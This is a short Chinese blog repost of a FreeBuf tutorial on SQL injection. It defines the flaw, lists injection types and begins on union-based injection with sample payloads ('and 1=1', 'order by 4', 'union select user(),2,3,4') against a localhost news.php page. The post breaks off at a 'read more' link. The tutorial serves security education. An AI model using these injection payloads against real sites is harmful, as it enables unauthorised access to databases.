freebuf看到的,总结挺全,备份留着方便自己找吧
原文:https://www.freebuf.com/articles/web/261524.html
因为以前被盗过文,所以想了想干脆都发到这里,免得再被盗。
原文最初是发给公司同事看的,后来首发于本人公众号。
一、 Sql注入是什么?如何产生的?危害有哪些?
现在的web大多是前后端分离,在固定前端页面上,通过不同参数去调用数据库的内容而显示不一样内容。这种情况下传入恶意参数,通过拼接在sql语句上,导致攻击者可以操作数据库,获得敏感数据或者直接命令执行,危害极大。
最常见的sql注入。
http://127.0.0.1/news.php?id=1 select * from news where id = $id; http://127.0.0.1/news.php?id=1 and 1=1 select * from news where id = 1 and 1=1
二、 SQL注入有多少种?
从回显内容上来看,SQL注入只分为联合注入,报错注入,盲注,堆叠注入。
1,联合注入
在联合注入中是使用了union select联合查询,通常用来拼接在where后面,如下。
http://127.0.0.1/news.php?id=1 http://127.0.0.1/news.php?id=1 order by 4 http://127.0.0.1/news.php?id=-1 union select 1,2,3,4
http://127.0.0.1/news.php?id=-1 union select user(),2,3,4
sql语句为。
select * from news where id = $id;继续阅读
select * from news where id = 1 order by 4
select * from news where id = -1 union select 1,2,3,4
select * from news where id = -1 union select user(),2,3,4